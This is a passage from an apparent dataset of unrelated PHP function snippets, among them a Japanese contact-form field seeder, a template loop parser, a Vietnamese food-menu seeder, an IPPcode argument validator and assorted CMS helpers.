'',\n 'not_empty' => 0,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 13,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 14,\n 'mail_content_id' => 1,\n 'no' => 15,\n 'name' => '建物名',\n 'field_name' => 'address_3',\n 'type' => 'text',\n 'head' => '住所',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '',\n 'size' => NULL,\n 'text_rows' => NULL,\n 'maxlength' => 200,\n 'options' => 'placeholder|建物名',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => 'address',\n 'group_valid' => '',\n 'valid' => '',\n 'valid_ex' => '',\n 'auto_convert' => '',\n 'not_empty' => 0,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 14,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 15,\n 'mail_content_id' => 1,\n 'no' => 16,\n 'name' => 'お問い合わせ項目',\n 'field_name' => 'category',\n 'type' => 'multi_check',\n 'head' => 'お問い合わせ項目',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '資料請求|問い合わせ|その他',\n 'size' => 0,\n 'text_rows' => 0,\n 'maxlength' => 0,\n 'options' => '',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => '',\n 'group_valid' => '',\n 'valid' => '',\n 'valid_ex' => 'VALID_NOT_UNCHECKED',\n 'auto_convert' => '',\n 'not_empty' => 1,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 15,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 16,\n 'mail_content_id' => 1,\n 'no' => 17,\n 'name' => 'お問い合わせ内容',\n 'field_name' => 'message',\n 'type' => 'textarea',\n 'head' => 'お問い合わせ内容',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '',\n 'source' => '',\n 'size' => 48,\n 'text_rows' => 12,\n 'maxlength' => NULL,\n 'options' => '',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => '',\n 'group_valid' => '',\n 'valid' => '',\n 'valid_ex' => '',\n 'auto_convert' => '',\n 'not_empty' => 0,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 16,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n [\n 'id' => 17,\n 'mail_content_id' => 1,\n 'no' => 18,\n 'name' => 'ルート',\n 'field_name' => 'root',\n 'type' => 'select',\n 'head' => 'どうやってこのサイトをお知りになりましたか?',\n 'attention' => '',\n 'before_attachment' => '',\n 'after_attachment' => '<br>',\n 'source' => '検索エンジン|web広告|紙面広告|求人案内|その他',\n 'size' => 0,\n 'text_rows' => 0,\n 'maxlength' => 0,\n 'options' => '',\n 'class' => '',\n 'default_value' => '',\n 'description' => '',\n 'group_field' => 'root',\n 'group_valid' => '',\n 'valid' => 'VALID_NOT_EMPTY',\n 'valid_ex' => '',\n 'auto_convert' => '',\n 'not_empty' => 1,\n 'use_field' => 1,\n 'no_send' => 0,\n 'sort' => 17,\n 'created' => NULL,\n 'modified' => NULL,\n ],\n ];\n\n $table = $this->table('mail_fields');\n $table->insert($data)->save();\n }", "public static function parseArrays($template, $data, $output)\n {\n foreach ($data as $key => $value) {\n if (is_array($value) || ($value instanceof \\ArrayAccess) || ($value instanceof \\ArrayObject)) {\n $start = '[{' . $key . '}]';\n $end = '[{/' . $key . '}]';\n if ((strpos($template, $start) !== false) && (strpos($template, $end) !== false)) {\n $loopCode = substr($template, strpos($template, $start));\n $loopCode = substr($loopCode, 0, (strpos($loopCode, $end) + strlen($end)));\n\n $outputLoop = '';\n $i = 0;\n foreach ($value as $ky => $val) {\n $loop = str_replace($start, '', $loopCode);\n $loop = str_replace($end, '', $loop);\n if (strpos($loop, '[{if(') !== false) {\n $matches = [];\n preg_match_all('/\\[{if/mi', $loop, $matches, PREG_OFFSET_CAPTURE);\n\n if (isset($matches[0]) && isset($matches[0][0])) {\n foreach ($matches[0] as $match) {\n $cond = substr($loop, $match[1]);\n $cond = substr($cond, 0, strpos($cond, '[{/if}]') + 7);\n $var = substr($cond, strpos($cond, '(') + 1);\n $var = substr($var, 0, strpos($var, ')'));\n // If var is an array\n if (strpos($var, '[') !== false) {\n $index = substr($var, (strpos($var, '[') + 1));\n $index = substr($index, 0, strpos($index, ']'));\n $var = substr($var, 0, strpos($var, '['));\n $varSet = (!empty($val[$var][$index]));\n } else {\n $index = null;\n $varSet = (!empty($val[$var]));\n }\n if (strpos($cond, '[{else}]') !== false) {\n if ($varSet) {\n $code = substr($cond, (strpos($cond, ')}]') + 3));\n $code = substr($code, 0, strpos($code, '[{else}]'));\n $code = (null !== $index) ?\n str_replace('[{' . $var . '[' . $index . ']}]', $val[$var][$index], $code) :\n str_replace('[{' . $var . '}]', $val[$var], $code);\n $loop = str_replace($cond, $code, $loop);\n } else {\n $code = substr($cond, (strpos($cond, '[{else}]') + 8));\n $code = substr($code, 0, strpos($code, '[{/if}]'));\n $loop = str_replace($cond, $code, $loop);\n }\n } else {\n if ($varSet) {\n $code = substr($cond, (strpos($cond, ')}]') + 3));\n $code = substr($code, 0, strpos($code, '[{/if}]'));\n $code = (null !== $index) ?\n str_replace('[{' . $var . '[' . $index . ']}]', $val[$var][$index], $code) :\n str_replace('[{' . $var . '}]', $val[$var], $code);\n $loop = str_replace($cond, $code, $loop);\n } else {\n $loop = str_replace($cond, '', $loop);\n }\n }\n }\n }\n }\n\n // Handle nested array\n if (is_array($val) || ($value instanceof \\ArrayAccess) || ($val instanceof \\ArrayObject)) {\n if (is_numeric($ky)) {\n $oLoop = $loop;\n foreach ($val as $k => $v) {\n // Check is value is stringable\n if ((is_object($v) && method_exists($v, '__toString')) ||\n (!is_object($v) && !is_array($v))) {\n $oLoop = str_replace('[{' . $k . '}]', $v, $oLoop);\n }\n }\n if (strpos($oLoop, '[{i}]') !== false) {\n $oLoop = str_replace('[{i}]', ($i + 1), $oLoop);\n }\n $outputLoop .= $oLoop;\n } else {\n $s = '[{' . $ky . '}]';\n $e = '[{/' . $ky . '}]';\n if ((strpos($loop, $s) !== false) && (strpos($loop, $e) !== false)) {\n $l = $loop;\n $lCode = substr($l, strpos($l, $s));\n $lCode = substr($lCode, 0, (strpos($lCode, $e) + strlen($e)));\n\n $l = str_replace($s, '', $lCode);\n $l = str_replace($e, '', $l);\n $oLoop = '';\n $j = 1;\n\n foreach ($val as $k => $v) {\n // Check is value is stringable\n if ((is_object($v) && method_exists($v, '__toString')) ||\n (!is_object($v) && !is_array($v))) {\n if (strpos($l, '[{i}]') !== false) {\n $oLoop .= str_replace(['[{key}]', '[{value}]', '[{i}]'], [$k, $v, $j], $l);\n } else {\n $oLoop .= str_replace(['[{key}]', '[{value}]'], [$k, $v], $l);\n }\n $j++;\n }\n }\n $outputLoop = str_replace($lCode, $oLoop, $loop);\n }\n }\n // Handle scalar\n } else {\n // Check is value is stringable\n if ((is_object($val) && method_exists($val, '__toString')) ||\n (!is_object($val) && !is_array($val))) {\n if (strpos($loop, '[{i}]') !== false) {\n $outputLoop .= str_replace(['[{key}]', '[{value}]', '[{i}]'], [$ky, $val, ($i + 1)], $loop);\n } else {\n $outputLoop .= str_replace(['[{key}]', '[{value}]'], [$ky, $val], $loop);\n }\n }\n }\n $i++;\n if ($i < count($value)) {\n $outputLoop .= PHP_EOL;\n }\n }\n $output = str_replace($loopCode, $outputLoop, $output);\n }\n }\n }\n\n return $output;\n }", "function getDatatypesMapping() {\n return ['Protein' => ['pdb','swissprot','datacitesbgrid'],\n 'Phenotype' => ['clinvar','dbgap','mpd','datacitemorphobank'],\n 'Gene Expression' => ['geo', 'arrayexpress', 'gemma','nursadatasets','lsdb','genenetwork','gtexldacc'],\n 'Nucleotide Sequence' => ['sra','datacitebgi'],\n 'Morphology'=>['neuromorpho'],\n 'Clinical Trials'=>['clinicaltrials','ctn'],\n 'Proteomics Data'=>['peptideatlas','proteomexchange','yped'],\n 'Physiological Signals'=>['physiobank'],\n 'Epigenetic Data'=>['epigenomics'],\n 'Data from Papers'=>['datacitepeerj','ndarpapers'],\n\n 'Omics Data'=>['omicsdi'],\n 'Survey Data'=> ['datacitefdz'],\n 'Cell Signaling'=>['datacitesdscsg'],\n 'Imaging Data'=>['cvrg','neuromorpho','cia','openfmri','cil','bmrb','retina','emdb', 'nitrcir','neurovaultatlases','neurovaultcols','neurovaultnidm','datacitecxidb','datacitembf','datacitecandi'],\n 'Unspecified' => ['lincs','bioproject','dryad','dataverse','niddkcr','icpsr','gdc','rgd','vectorbase','datacitegnd','datacitezenodo',\n 'datacitecrcns','immport','datacitedatabrary','datacitelshtm','datacitejhu',\n 'simtk',\n 'datacitebils',\n 'dataciteada',\n 'dataciteukda',\n 'dataciteadaptive',\n 'datacitemit',\n 'datacitectsi',\n 'datacitenimh',\n 'nsrr','naturedata','datacitethieme','datacitefigshare','dataciteccdc','wormbase','metabolomics'],\n ];\n}", "private function varIsArray($var): void {\r\n\t\t$var_ser = serialize($var);\r\n\t\t$this->arrHistory[] = $var_ser;\r\n\t\t\r\n\t\t$this->makeTableHeader( 'array', 'array' );\r\n\t\tif(is_array($var)) {\r\n\t\t\tforeach($var as $key=>$value) {\r\n\t\t\t\t$this->makeTDHeader( 'array', $key);\r\n\t\t\t\t\r\n\t\t\t\t//check for recursion\r\n\t\t\t\tif(is_array($value)) {\r\n\t\t\t\t\t$var_ser = serialize($value);\r\n\t\t\t\t\tif(in_array($var_ser, $this->arrHistory, TRUE)) {\r\n\t\t\t\t\t\t$value = '*RECURSION*';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif( in_array( gettype( $value ), $this->arrType, true ) ) {\r\n\t\t\t\t\t$this->checkType( $value );\r\n\t\t\t\t}\r\n\t\t\t\telse {\r\n\t\t\t\t\t$value=(trim($value)==='') ? '[empty string]' : $value;\r\n\t\t\t\t\techo $value;\r\n\t\t\t\t}\r\n\t\t\t\techo $this->closeTDRow();\r\n\t\t\t}\r\n\t\t}\r\n\t\telse {\r\n\t\t\techo '<tr><td>' . $this->error( 'array' ) . $this->closeTDRow();\r\n\t\t}\r\n\t\tarray_pop($this->arrHistory);\r\n\t\techo '</table>';\r\n\t}", "function api_apply_template($templatename, $type, $data){\n\n\t\tswitch($type){\n\t\t\tcase 'xml':\n\t\t\t\tif($data) {\n\t\t\t\t\tforeach($data as $k => $v)\n\t\t\t\t\t\t$ret = arrtoxml(str_replace('$','',$k),$v);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase 'json':\n\t\t\tdefault:\n\t\t\t\tif($data) {\n\t\t\t\t\tforeach($data as $rv) {\n\t\t\t\t\t\t$ret = json_encode($rv);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn $ret;\n\t}", "function pl_array($input)\n{\n if(!empty($input) && is_array($input)) {\n foreach($input as $key => $value) {\n pl(\"[\" .$key. \"] => \" . $value);\n }\n }\n}", "function astrizstudios_pro_block_useArray($data,$o1)\r\n{\r\n\t$d = null;\r\n\r\n\t//Lets grab the data that we need.. We do not need to know which filter was it..\r\n\tif(isset($data['array_original']))\r\n\t{\r\n\t\t$keys = $data['array_original'];\r\n\t}\r\n\telse\r\n\t{\r\n\t\t//Something is off..Send back the original values..\r\n\t\treturn $o1;\r\n\t}\r\n\r\n\tforeach($keys as $key => $v)\r\n\t{\r\n\t\t//Usually this would be the best way to deal with filtered output, by placing it in a new field there is original content and the filtered out one.\r\n\t\t//since WP is not using this to display the content, we can either make it be displayed by our own plugin, which would affect any other plugin that is set for displaying data or save it as it comes back..\r\n\t\t$d[$key] = $data['array_parsed'][$key]['text_parsed'];\r\n\t}\r\n\r\n\t//Lets make sure that we do not remove other data, which was not sent to the filter..\r\n\tforeach($d as $k => $v)\r\n\t{\r\n\t\t$o1[$k] = $v;\r\n\t}\r\n\r\n\treturn $o1;\r\n}", "function FieldTypesArray() {}", "public function substituteSubpartArrayDataProvider() {}", "public function convertConjugation(array $conjugated){\n\n $conjugations = $conjugated['conjugations'];\n $dialect = $conjugated['dialect'];\n $out = \"\";\n $ModesArray = array();\n $name = $conjugated['name'];\t \n // for each temps\n for ($i=ConjugationBase::IND_PRESENT;$i < ConjugationBase::CONDITIONAL +1 ;$i++){\n $conjugation = $conjugations[$i];\n\n switch($i){\n case ConjugationBase::IND_PRESENT : $ModesArray['Indicative']= array(); $mode ='Indicative' ;break;\n case ConjugationBase::INFINITIVE : $ModesArray['Impersonal forms']= array(); $mode ='Impersonal forms' ; break;\n case ConjugationBase::IMPERATIVE : $ModesArray['Imperative']= array(); $mode ='Imperative' ;break;\n case ConjugationBase::SUBJ_PRESENT: $ModesArray['Subjunctive']= array(); $mode ='Subjunctive'; break;\n case ConjugationBase::CONDITIONAL : $ModesArray['Conditional']= array(); $mode ='Conditional'; break;\n }\n\n \n // big dispatch\n // Each temps is dispatched in its own mode \n switch($mode){\n \tcase \"Indicative\" :\n \t\t$ModesArray['Indicative'][] = $conjugation; \n \t\tbreak; \n \tcase \"Impersonal forms\" :\n \t\t$ModesArray['Impersonal forms'][] = $conjugation; \n \t\tbreak; \n \tcase \"Imperative\" :\n \t\t$ModesArray['Imperative'][] = $conjugation; \n \t\tbreak; \n \tcase \"Subjunctive\" :\n \t\t$ModesArray['Subjunctive'][] = $conjugation; \n \t\tbreak; \n \tcase \"Conditional\" :\n \t\t$ModesArray['Conditional'][] = $conjugation; \n \t\tbreak; \n } // switch\n } // for\n\n $o = $this->getHeader($dialect);\n if (count($conjugated) > 0){\n \t$o .= \"<entry>\\n\";\n \t$o .= \"\\t<form>\\n\";\n\t$o .= \"\\t\\t<orth>\\n\";\n\t$infinitive = $conjugated['infinitive'][0];\n\t$o .= \"\\t\\t\\t$infinitive\\n\";\n\t$o .= \"\\t\\t</orth>\\n\";\n\t$o .= \"\\t\\t<model>\\n\";\n\t$model = $conjugated['model'];\n\t$o .= \"\\t\\t\\t$model\\n\";\n\t$o .= \"\\t\\t</model>\\n\";\n $o .= $this->formatConjugation($model,$ModesArray);\n\t$o .= \"\\t</form>\\n\";\n \t$o .= \"</entry>\\n\";\n } // if\n\n $o .= $this->getFooter();\n $this->createDownloadFile($o,$conjugated['dialect'] . \"_$name\");\t \n }", "public function output($type=\"html\"){\r\n\r\n switch($type){\r\n\r\n case \"html\":\r\n\r\n return implode(\" \",$this->output);\r\n\r\n break;\r\n\r\n\r\n case \"json\":\r\n\r\n return json_encode($this->output);\r\n\r\n break;\r\n\r\n\r\n }\r\n\r\n }", "private function ArrayToGet($array, $switch) {\r\n if ($switch == Constans::PART_HEAD) {\r\n $this->_title = $array[Constans::ELEMENT_TITLE];\r\n $this->_keywords = \"\";\r\n foreach ($array[Constans::ELEMENT_KEYWORDS] as $value) {\r\n if ($value != end($array[Constans::ELEMENT_KEYWORDS])) {\r\n $this->_keywords .= $value . \", \";\r\n } else {\r\n $this->_keywords .= $value;\r\n }\r\n }\r\n $this->_description = $array[Constans::ELEMENT_DESCRIPTION];\r\n }\r\n }", "private function format_typed_value( &$value ) {\n\t\t$value = array(\n\t\t\t'content' => $value['typed'],\n\t\t\t'typed' => $value['typed'], // for reverse compatibility\n\t\t\t'format' => 'typed',\n\t\t);\n\t}", "public function setTypes(){\n $this->var = false;\n $this->symb = false;\n $this->label = false;\n $type = '';\n \n //Ulozi postupne do jednotlivych promennych jestli dany argument odpovida nejakemu danemu vzoru a pote v podminkach rozhodneme typ argumentu (ktery na konci funkce ulozime do typu) a take jestli je argument var, symb, label nebo type\n $var = preg_match(\"/^(TF|LF|GF)@((\\p{L}|-|[_$&%*!?])(\\p{L}|-|[_$&%*!?]|[0-9])*)$/u\", $this->arg);\n $int = preg_match(\"/^int@([\\+\\-])?([0-9])*$/u\", $this->arg);\n $bool = preg_match(\"/^bool@(true|false)$/u\", $this->arg);\n $string = preg_match(\"/^string@(\\p{L}|[^(\\w\\\\\\)]|\\d|[_]|\\\\\\\\([0-9][0-9][0-9]))*$/u\", $this->arg);\n $nil = preg_match(\"/^nil@nil$/u\", $this->arg);\n $label = preg_match(\"/^((\\p{L}|[_$&%*!?])(\\p{L}|-|[_$&%*!?]|[0-9])*)$/u\", $this->arg);\n if($var){\n $type = \"var\";\n $this->var = true;\n $this->symb = true;\n }\n if($int){\n $type = \"int\";\n $this->symb = true;\n }\n if($bool){\n $type = \"bool\";\n $this->symb = true;\n }\n if($string){\n $type = \"string\";\n $this->symb = true;\n }\n if($nil){\n $type = \"nil\";\n $this->symb = true;\n }\n if($label){\n if(preg_match(\"/^(int|bool|string)$/u\", $this->arg)){\n $this->type_type = true;\n }\n $type = \"label\";\n $this->label = true; \n }\n if(!($var||$int||$bool||$string||$nil||$label)){\n fwrite(STDERR, \"CHYBA \".ERROR_23.\" - spatny argument\\n\");\n exit(ERROR_23);\n }\n $this->setType($type);\n }", "function cextras_types_formulaires(){\r\n\t$types = array();\r\n\r\n\tforeach(_chemin() as $dir) {\r\n\t\tif (@is_dir($s = $dir.'extra-saisies/')) {\r\n\t\t\tforeach(preg_files($s, '.*.html$') as $saisie) {\r\n\t\t\t\t$type = basename($saisie,'.html');\r\n\t\t\t\t$types[$type] = array(\r\n\t\t\t\t\t'nom' => _T('cextras:type', array('type' => $type))\r\n\t\t\t\t);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $types;\r\n}", "public function Transcripts() {\n\t\treturn new ArrayList(array_filter([$this->Transcript()]));\n\t}", "function recordToMarkerArray($record, $scope = 'filelist', $table = 'tx_dam') {\n\n\t\tif (!is_array($record)) {\n\t\t\tdie ('Parameter error in class.tx_damfrontend_rendering in function recordToMarkerArray: $record is no Array. Please inform your administrator.');\n\t\t}\n\n\t\t// we should be able to have full TypoScript Power\n\t\t$cObj = t3lib_div::makeInstance('tslib_cObj');\n\t\t$cObj->start($record, $table);\n\t\tif (!is_array($this->conf[$scope . '.'])) {\n\t\t\t$this->conf[$scope . '.'] = array();\n\t\t}\n\t\t$markerArray = array();\n\t\tforeach ($record as $key => $value) {\n\t\t\tif ('' == $key) continue; // empty key\n\n\t\t\t// first try if $cObj->cObjGetSingle has a result, else do only a stdWrap\n\t\t\t$markerArray['###' . strtoupper($key) . '###'] = $cObj->cObjGetSingle($this->conf[$scope . '.'][$key], $this->conf[$scope . '.'][$key . '.']);\n\t\t\tif (!$markerArray['###' . strtoupper($key) . '###']) {\n\t\t\t\tif (!is_array($this->conf[$scope . '.'][$key . '.'])) {\n\t\t\t\t\t$this->conf[$scope . '.'][$key . '.'] = array();\n\t\t\t\t}\n\t\t\t\t// htmlSpecialChars = 1 is default - it has to be disabled via htmlSpecialChars = 0\n\t\t\t\tif (!isset($this->conf[$scope . '.'][$key . '.']['htmlSpecialChars'])) {\n\t\t\t\t\t$this->conf[$scope . '.'][$key . '.']['htmlSpecialChars'] = 1;\n\t\t\t\t}\n\t\t\t\t$markerArray['###' . strtoupper($key) . '###'] = $cObj->stdWrap((string)$value, $this->conf[$scope . '.'][$key . '.']);\n\t\t\t}\n\t\t}\n\n\n\t\treturn $markerArray;\n\t}", "public function setup_array($type,$edit){\n\t\tif($type == 'session'){\n\t\t\t$data = array(\n\t\t\t\t'session_start' => $this->input->post('session_start'),\n\t\t\t\t'session_end' => $this->input->post('session_end'),\n\t\t\t\t'session_id' => $this->input->post('session_id'),\n\t\t\t\t'session_active' => 'active'\n\t\t\t);\n\t\t}elseif($type == 'term'){\n\t\t\t$data = array(\n\t\t\t\t'term_id' => $this->input->post('term_id'),\n\t\t\t\t'term_name' => $this->input->post('term_name'),\n\t\t\t);\n\t\t}elseif($type == 'activeterm'){\n\t\t\t\n\t\t\t$data = array(\n\t\t\t\t'ts_start' => $this->input->post('term_start'),\n\t\t\t\t'ts_end' => $this->input->post('term_end'),\n\t\t\t\t'term_id' => $this->input->post('term_id'),\n\t\t\t\t'session_id' => $this->input->post('session_id'),\n\t\t\t\t'ts_active' => $this->input->post('ts_active'),\n\t\t\t\t'sch_id' => $_SESSION['sch_id']\n\t\t\t);\n\t\t}elseif($type == 'schdiv'){\n\t\t\t$data = array(\n\t\t\t\t'school_div_name' => $this->input->post('school_div_name'),\n\t\t\t\t'school_div_id' => $this->input->post('school_div_id')\n\t\t\t);\n\t\t}elseif($type == 'classlevel'){\n\t\t\t$data = array(\n\t\t\t\t'class_name' => $this->input->post('class_name'),\n\t\t\t\t'school_div_id' => $this->input->post('school_div_id'),\n\t\t\t\t'level_id' => $this->input->post('level_id')\n\t\t\t);\n\t\t}elseif($type == 'classdesc'){\n\t\t\t$data = array(\n\t\t\t\t'class_desc_name' => $this->input->post('class_desc_name'),\n\t\t\t\t'sch_div_id' => $this->input->post('sch_div_id')\n\t\t\t);\n\t\t}elseif($type == 'classdetails'){\n\t\t\t$data = array(\n\t\t\t\t'desc_id' => $this->input->post('class_desc_id'),\n\t\t\t\t'class_details' => $this->input->post('class_details'),\n\t\t\t\t'level_id' => $this->input->post('class_level'),\n\t\t\t);\n\t\t\tif($_SESSION['setup_status'] == 'Completed'){\n\t\t\t\tif(!empty($this->input->post('class_teacher_id'))){\n\t\t\t\t$data['class_teacher_id'] = $this->input->post('class_teacher_id');\n\t\t\t\t}elseif(!empty($this->input->post('class_rep_id'))){\n\t\t\t\t$data['class_rep_id'] = $this->input->post('class_rep_id');\t\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}elseif($type == 'department'){\n\t\t\t$data = array(\n\t\t\t\t'dept_id' => $this->input->post('dept_id'),\n\t\t\t\t'staff_id' => $this->input->post('staff_id')\n\t\t\t);\n\t\t\tif($_SESSION['setup_status'] == 'Completed'){\n\t\t\t\t$data['staff_id'] = $this->input->post('staff_id');\n\t\t\t}\n\t\t}elseif($type == 'subject'){\n\t\t\t$data = array(\n\t\t\t\t'department_id' => $this->input->post('dept_id'),\n\t\t\t\t'school_div_id' => $this->input->post('school_div_id'),\n\t\t\t\t'subject_id' => $this->input->post('subject_id'),\n\t\t\t\t'subject_unit' => $this->input->post('subject_unit')\n\t\t\t);\n\t\t\tif($_SESSION['setup_status'] == 'Completed'){\n\t\t\t\t$data['staff_id'] = $this->input->post('staff_id');\n\t\t\t}\n\t\t}\n\t\t$data['sch_id'] = $_SESSION['sch_id'];\n\t\treturn $data;\n\t}", "private function populateResult($json_array) {\n if(isset($json_array['score'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['score_json'] = drupal_json_encode($json_array['score']);\n \n if(isset($json_array['score']['scaled']) && is_numeric($json_array['score']['scaled'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['score_scaled'] = $json_array['score']['scaled'];\n }\n if(isset($json_array['score']['raw']) && is_numeric($json_array['score']['raw'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['score_raw'] = $json_array['score']['raw'];\n }\n if(isset($json_array['score']['min']) && is_numeric($json_array['score']['min'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['score_min'] = $json_array['score']['min'];\n }\n if(isset($json_array['score']['max']) && is_numeric($json_array['score']['max'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['score_max'] = $json_array['score']['max'];\n }\n }\n if(isset($json_array['success'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['success'] = ($json_array['success'] == 1 || $json_array['success'] == 'true') ? 1 : 0;\n }\n\n if(isset($json_array['completion'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['completion'] = ($json_array['completion'] == 1 || $json_array['completion'] == 'true') ? 1 : 0;\n }\n if(isset($json_array['response'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['response'] = $json_array['response'];\n }\n if(isset($json_array['duration'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['duration'] = $json_array['duration'];\n }\n if(isset($json_array['extensions'])) {\n $this->tincan_result[LANGUAGE_NONE][0]['extensions'] = drupal_json_encode($json_array['extensions']);\n }\n \n $this->tincan_result[LANGUAGE_NONE][0]['json'] = drupal_json_encode($json_array);\n }", "public function getTwords() {\n $this->tlist = getTranslatables($this->langtag);\n }", "public function run()\n {\n $arr = [];\n $sandw = array('Sandwich nướng xúc xích và cá ngừ phô mai','Sandwich Xúc Xích & Chà Bông','Sandwich Gà Nướng Cay','Sandwich Bò & Trứng','Sandwich Cá Ngừ Trứng','Sandwich Salad Gà','Sandwich Salad Cá Ngừ','Sandwich Thịt Nguội Phomai & Salad');\n $drink = array('Nước suối','Trà đào','Pepsi','Trà Sữa Thái Xanh Thạch Nha Đam','Ca Cao Sữa Đá','7Up','Mirinda');\n $desert = array('Kem dâu','Kem socola','Kem việt quất','Kem tươi','Bánh Pie Nhân Xoài Đào','Bánh Pie Nhân Đào','Bánh Pie Nhân Khoai Môn');\n $ff = array('Khoai Tây Chiên','Khoai Tây Lắc Vị BBQ','Khoai Tây Lắc Vị Bơ');\n $salad = array('Salad Bắp Cải & Thanh Cua','Salad Gà','Salad Cá Ngừ');\n $combo = array('01 MIẾNG GÀ GIÒN VUI VẺ + 01 MỲ Ý SỐT BÒ BẰM + 01 NƯỚC NGỌT','03 MIẾNG GÀ GIÒN VUI VẺ + 01 MỲ Ý SỐT BÒ BẰM + 01 KHOAI TÂY (VỪA) + 02 NƯỚC NGỌT','3 MIẾNG GÀ GIÒN VUI VẺ + 1 MIẾNG GÀ SỐT CAY + 2 MỲ Ý SỐT BÒ BẰM + 2 KHOAI TÂY');\n $faker = Faker\\Factory::create('vi_vn');\n $pric_sw = $faker->numberBetween($min = 30000,$max = 40000);\n $pric_dr = $faker->numberBetween($min = 15000,$max = 30000);\n $pric_cb = $faker->numberBetween($min = 150000,$max = 300000);\n\n for($i=0;$i<count($sandw);$i++){\n array_push($arr,[\n 'id_cate' => 1,\n 'id_dis' => $faker->numberBetween($min=1,$max=5),\n 'name_food' => $sandw[$i],\n 'desc_food' => '',\n 'price_food' => $pric_sw,\n 'preprice_food' => $pric_sw - 3000,\n 'state_food' => 1\n ]);\n }\n\n for($j=0;$j<count($drink);$j++){\n array_push($arr,[\n 'id_cate' => 2,\n 'id_dis' => $faker->numberBetween($min=1,$max=5),\n 'name_food' => $drink[$j],\n 'desc_food' => '',\n 'price_food' => $pric_dr,\n 'preprice_food' => $pric_dr - 3000,\n 'state_food' => 1\n ]);\n }\n\n\n for($k=0;$k<count($desert);$k++){\n array_push($arr,[\n 'id_cate' => 3,\n 'id_dis' => $faker->numberBetween($min=1,$max=5),\n 'name_food' => $desert[$k],\n 'desc_food' => '',\n 'price_food' => $pric_dr,\n 'preprice_food' => $pric_dr - 3000,\n 'state_food' => 1\n ]);\n }\n \n \n for($l=0;$l<count($ff);$l++){\n array_push($arr,[\n 'id_cate' => 4,\n 'id_dis' => $faker->numberBetween($min=1,$max=5),\n 'name_food' => $ff[$l],\n 'desc_food' => '',\n 'price_food' => $pric_dr,\n 'preprice_food' => $pric_dr - 3000,\n 'state_food' => 1\n ]);\n }\n for($v=0;$v<count($salad);$v++){\n array_push($arr,[\n 'id_cate' => 5,\n 'id_dis' => $faker->numberBetween($min=1,$max=5),\n 'name_food' => $salad[$v],\n 'desc_food' => '',\n 'price_food' => $pric_dr,\n 'preprice_food' => $pric_dr - 3000,\n 'state_food' => 1\n ]);\n }\n for($cb=0;$cb<count($combo);$cb++){\n array_push($arr,[\n 'id_cate' => 6,\n 'id_dis' => $faker->numberBetween($min=1,$max=5),\n 'name_food' => $combo[$cb],\n 'desc_food' => '',\n 'price_food' => $pric_cb,\n 'preprice_food' => $pric_cb - 15000,\n 'state_food' => 1\n ]);\n }\n\n DB::table('food')->insert($arr);\n \n \n }", "function Tarr(&$R,$n,$m=\"\")\n\t\t{\n\t\treturn $this->Zarr($R,\"int8\",$n,$m);\t\t\n\t\t}", "public function transfArray($valuepost) {\n\t\t$total = 0;\n\t\tforeach ( $valuepost as $value ) {\n\t\t\t$arr [$total] = $this->validStringForm ( $value );\n\t\t\t$total ++;\n\t\t}\n\t\treturn $arr;\n\t}", "function transcribe($array, $is_top_level = true) {\n $result = array();\n $is_magic = get_magic_quotes_gpc();\n\n foreach ($array as $key => $value) {\n $decoded_key = ($is_magic && !$is_top_level) ? stripslashes($key) : $key;\n\n if (is_array($value)) {\n $decoded_value = transcribe($value, false);\n } else {\n $decoded_value = ($is_magic) ? stripslashes($value) : $value;\n }\n\n $result[$decoded_key] = $decoded_value;\n }\n\n return $result;\n}", "private function filterArrayToken($objekUnit)\n {\n /* @var $objekUnit Unit */\n $arrayHasil = array();\n $totalToken = count($objekUnit->array_word);\n//echo \"ITEM WORD :: \" . json_encode($objekUnit->array_word) . \"<br/>\";\n for($i=0; $i < $totalToken; $i++)\n {\n $POS = $objekUnit->array_pos[$i];\n if(Pembantu::ambilNilaiTag($POS) == Umum::FILTER_POS_PRP) //aboubakr 30-06-2013 : special handling untuk PRP, unit yang dipakai selalu word.\n {\n $kataTarget = $objekUnit->array_word[$i]; // gunakan word untuk PRP.\n }\n else\n {\n $kataTarget = $objekUnit->array_token[$i]; // gunakan lemma.\n }\n\n $perluProses = true;\n\n // 20120906 :: untuk memastikan apabila pilihan kategori adalah dalam pilihan POS (saja), maka berlaku proses filtering, tag POS harus sama. Apabila pilihan kategori adalah lemma, maka semua lemma akan lolos tanpa dicek POS nya. ;)\n if(!(Pembantu::ambilNilaiTag($POS) & $this->penanda_filter_token_entity) && ($this->penanda_filter_token_entity > Umum::FILTER_LEMMA))\n {\n $perluProses = false;\n }\n\n if(!$perluProses) // skip jika tidak perlu diproses.\n {\n continue;\n }\n\n if(Pembantu::masukkanElemenUnikTerurut($arrayHasil,$kataTarget, $this->array_stopwords,$this->array_index_alph_stopwords) !== false)\n {\n //Pembantu::cetakDebug(\"elemen ke-\" . count($arrayHasil) 